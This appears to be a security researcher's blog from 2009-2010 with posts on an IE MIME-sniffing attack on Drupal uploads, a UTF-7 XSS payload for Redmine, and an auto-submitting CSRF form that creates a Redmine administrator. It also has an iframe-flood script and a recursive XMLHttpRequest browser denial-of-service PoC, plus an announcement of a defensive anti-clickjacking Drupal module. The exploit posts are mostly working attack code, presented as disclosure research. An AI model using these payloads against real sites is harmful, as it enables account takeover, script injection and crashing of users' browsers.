5/19/2010

Exploiting IE MIME-sniffer vulnerability in Drupal

IE always loved to create vulnerabilities where they would never be. Not many people know, but there is an old bug in IE MIME-sniffer, which can be easily exploited. The essence of the bug is that when IE renders file, which was sent along with Content-type: text/plain header, it tries to identify its MIME type. So, if file contains HTML code inside, IE will think its text/html and render it. Simple example of exploit in Drupal:
1. There is a Drupal site with enabled Upload module.
2. Attacker uploads *.txt file with HTML code inside. By default Drupal allows *.txt files.
3. Attacker sends a link to that file to victim.
4. Victim opens it in IE and HTML code is rendered.

It's pretty bad that Drupal core, which is tough by default, can be exploited in such a simple manner. I understand that it's not Drupal issue, but Microsoft isn't going to fix it. Instead, they suggest to send X-Content-Type-Options: nosniff HTTP response header. But, it's not possible to do this in Drupal and Drupal Security Team didn't fix it for 2 years and won't do this in future. So, if you are aware of your users' safety, remove .txt from allowed tags. You can do this in Administer -> Site configuration -> File uploads.

3/05/2010

SafeClick - protect your Drupal site from Clickjacking

SafeClick is released. It is a module for Drupal CMS, which you gotta have to defense your website from Clickjacking. It implements several techniques of such defenses.

Opportunity of setting X-Frame-Options HTTP header. You may set it up to SameOrigin to allow framing of website within its domain or to DENY to prevent framing at all. Or you may disable it. This header is currently supported by Mozilla Firefox + NoScript extension, Apple Safari, Google Chrome and Microsoft Internet Explorer 8, so it's the safest way for your website.  

JavaScript + CSS + <noscript> framebusting. It's the hardest defense for your website, however it can break down some of your modules which use iframes. The disadvantage of usual framebusters is that they can be disabled particularly using IE8 or Safari XSS filter  This framebuster, pointed to me by sirdarckcat, excludes such kind of attack. If user disables framebuster script selectively - he sees blank screen. If user has generally disabled JavaScript - he sees message like "Enable JavaScript". However, I've decided to make <noscript> tag as a separate option, because such option may be useful without framebuster itself. 

Opportunity of decreasing the risk of Clickjacking on your site via overridden styles of <iframe>, <frame>, <object> and <embed> tags. This option should only be enabled if you allow your users to post content with stated tags. Special CSS overrides opacity level and z-index for them, preventing transparent frames and hidden via z-index frames. Also, z-index is useful for prevention of "last loaded - first focused" behavior (when last loaded frame is being focused regardless its z-index). The reverse is that in theory it may break website layout.
    Module is released and I hope it will be useful for Drupal users. Thanks to all slackers for helping me with Clickjacking prevention techniques.
    You may download module there.

    3/01/2010

    SafeClick Testing & Review

    After long discussion about methods of Clickjacking prevention, I've released for testing and reviewing SafeClick. It is a module for Drupal CMS which implements several of such techniques.
    The first is an implementation of  X-Frame-Options HTTP header.
    The second is JavaScript + CSS + <NoScript> hack, pointed to me by sirdarckcat - thanks to him!
    The third is special CSS, which can be useful if a website allows users to post frames within their content. It overrides opacity and z-index of HTML elements, used for Clickjacking attacks.
    Module is currently being reviewed by Drupal community. Everyone is welcomed for testing and hacking!

    12/03/2009

    Redmine UTF-7 XSS Vulnerability

    I keep on looking through Redmine. And one of the most basic persistent XSS - problem of placing <title> prior to <meta> - still often ignored by developers. The same thing occurred in Drupal some time ago. Same thing is currently in Redmine.
    The idea of this XSS vector is that tag <title> is placed before tag <meta>, which specifies character encoding of page. Good browsers look for <meta> upon page opening, ignoring its position, but Internet Explorer 6/7 (not quite sure about latest one), in case described above, uses <title> to define encoding. So if you create page (within Redmine, it will be "Issue") with title

    +ADw-script+AD4-alert('XSS');+ADw-/script+AD4-
    

    and open it in IE with Auto-Select Encoding on, browser will think that encoding of the page is UTF-7 and will interpret +ADw- as < and +AD4- as >. Thus arbitrary JavaScript will be executed, evading built-in filters .
    P.S. Vendor was contacted and Eric Davis informed me, that this vulnerability will be fixed in new version along with CSRF, which wasn't fixed in 0.8.7.
    P.P.S. Proof-of-Concept is here 

    11/17/2009

    Redmine CSRF Add Admin User PoC

    Redmine, a flexible project management web application, which is used by many companies, including company, where I work, till this day was vulnerable to CSRF from task updating to administration. So, the easiest and the most critical PoC I could code was the one that creates user with administrative rights.
    I've contacted Redmine's SecTeam and they rapidly released new version and separate patch (they are cool team, actually). Those, who use it, need to update asap, because this vulnerability is a critical one.

    <form method=POST action="http://www.site.org/users/new">
      <input type="text" value="hacker" size="25" name="user[login]" id="user_login"/>
      <input type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/>
      <input type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/>
      <input type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/>
      <input type="password" size="25" name="password" id="password" value="hacker" />
      <input type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" />
      <input type="checkbox" value="1" name="user[admin]" id="user_admin"/>
      <input type="hidden" value="1" name="user[admin]"/>
      <input type="submit" value="Create" id="commit" name="commit" />
    </form>
    <script>document.getElementById("commit").click();</script>
    

    Exploit is here 

    EDIT: It seems that Redmine was not fixed in new version :) Maybe there were some problems with my local version, but token was generated one time and for all users. I've reached them, so gotta be fixed finally.

    9/28/2009

    User Panic - external applications handler of Safari

    Some time ago RSnake published the thing, which gets user into a real panic - iframes with mailto: URI. I just developed it furtherly. Now "exploit" creates iframes with telnet: and news: sources, and if browser doesn't properly handles protocols, which requires external applications to be launched (actually, I'm talking about Apple Safari), this gets user into a real panic :)

    <body />
    <script>
      function makeFrameTelnet() {
      ifrm = document.createElement("IFRAME");
      ifrm.src = 'telnet://nonexistent.com:80';
      document.body.appendChild(ifrm);
      }
    </script>
    <script>
      function makeFrameNews() {
      ifrm = document.createElement("IFRAME");
      ifrm.src = 'news://nonexistent.com';
      document.body.appendChild(ifrm);
      }
    </script>
    <script>
      for (i=0; i < 9999; i++) {
      makeFrameTelnet()
      makeFrameNews()
      }
    </script>
    

    P.S. Safari and IE doesn't properly handle skype: protocol. When we create an iframe with, for example, skype:blahblahblah?call source and open it, Skype gets run and the call to blahblahblah user begins. It seems that it's possible to perform some kind of spamming using it. Need to play around with it.

    9/11/2009

    IE 7.x/8.x, Opera 10.x, Safari 4.x DoS PoC

    While playing around with cross-domain requests, I've noticed that page, containing cycled XmlHttpRequest leads to violation of normal behavior of different browsers.
    MS Internet Explorer 7.x/8.x (haven't got 6.x, but sure it's affected) begins to devour system resources (CPU and memory), shows error message "Stack Overflow at line: 43" and stops processing the page in few seconds.
    Opera 10.x crashes in few seconds and its crash probably may lead to execution of shellcode (debugged it with WinDbg and !exploitable).
    Apple Safari 4.x simply hangs, devouring system resources.
    However, Mozilla Firefox 3.5 and Google Chrome can handle this exploit.
    Vendors have been contacted, but no reaction.
    I've posted this very dirty PoC at sla.ckers and finally it's here.
    So, to test this PoC, create a page containing exploit, place it to your local webserver (any LAMP) or website and open it.
    PoC contains cross-domain XmlHttp function and cycled asynchronous XmlHttpRequest.

    <script>
      function getXmlHttp(){
        var xmlhttp;
        try {
          xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
        } catch (e) {
        try {
          xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        } catch (E) {
          xmlhttp = false;
        }
      }
    
      if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
        xmlhttp = new XMLHttpRequest();
      }
      return xmlhttp;
      }
    </script>
    <script>
      function getXmlHttpSploit(){
        var xmlhttp = getXmlHttp()
        xmlhttp.open('GET', 'nonexistentpage', false);
        xmlhttp.send(null);
        if(xmlhttp.status == 404) {
          getXmlHttpSploit();
        }
      }
    </script>
    <script>
      var xmlhttp = getXmlHttp()
      xmlhttp.open('GET', 'nonexistentpage', true);
      xmlhttp.onreadystatechange = function() {
        if (xmlhttp.readyState == 4) {
          if(xmlhttp.status == 404) {
            getXmlHttpSploit();
          }
        }
      };
      xmlhttp.send(null);
    </script>